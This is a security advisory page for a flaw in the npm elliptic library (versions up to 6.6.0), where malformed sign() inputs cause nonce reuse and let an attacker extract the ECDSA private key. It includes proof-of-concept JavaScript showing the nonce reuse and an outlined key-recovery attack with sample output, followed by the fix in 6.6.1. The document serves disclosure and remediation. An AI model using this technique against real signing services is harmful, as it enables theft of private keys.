GHSA-vjh7-7g9h-fjfh: Infoleak

Published Feb 12, 2025
·
Updated

Summary

Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that elliptic by design accepts hex strings as one of the possible input types

Details

In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

PoC

k reuse example

js import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32)) const curve = 'ed25519' // or any other curve, e.g. secp256k1 const ec = new EC(curve) const prettyprint = ({ r, s }) => r: ${r}, s: ${s} const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same r, different s console.log({ sig0, sig1, sig2 })

Full attack

This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

js import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32)) const curve = 'secp256k1' // or any other curve, e.g. ed25519 const ec = new EC(curve)

// Any message, e.g. previously known signature const msg0 = crypto.getRandomValues(new Uint8Array(32)) const sig0 = ec.sign(msg0, privateKey)

// Attack const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve) console.log('Typeof:', typeof msg1) console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something) const rnd = crypto.getRandomValues(new Uint8Array(32)) const st = (x) => JSON.stringify(x) console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER())) console.log('Orig key:', Buffer.from(privateKey).toString('hex')) console.log('Restored:', something)

Output: console Curve: secp256k1 Typeof: string Keys equal? true Keys equivalent? true Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a

Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing: console Curve: ed25519 Typeof: string Keys equal? false Keys equivalent? true Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189 Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6 restored is equal to orig mod N.

Impact

Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)

Affected Software

1 affected componentFixes available
npm/elliptic<=6.6.0
6.6.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/elliptic to a version that resolves this vulnerability.

    Fixed in 6.6.1

Event History

Feb 12, 2025
Advisory Published
via GitHub·07:47 PM

Frequently Asked Questions

1

What is the severity of GHSA-vjh7-7g9h-fjfh?

The severity of GHSA-vjh7-7g9h-fjfh is considered critical due to the potential for private key extraction.

2

How do I fix GHSA-vjh7-7g9h-fjfh?

To fix GHSA-vjh7-7g9h-fjfh, upgrade the elliptic package to version 6.6.1 or later.

3

What happens if I don't address GHSA-vjh7-7g9h-fjfh?

Failing to address GHSA-vjh7-7g9h-fjfh could lead to unauthorized access and compromise of private keys.

4

Which versions of elliptic are affected by GHSA-vjh7-7g9h-fjfh?

Versions of elliptic prior to 6.6.1 are affected by GHSA-vjh7-7g9h-fjfh.

5

What input is likely to trigger the vulnerability in GHSA-vjh7-7g9h-fjfh?

Malform input types such as strings or numbers from JSON network input can trigger the vulnerability in GHSA-vjh7-7g9h-fjfh.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203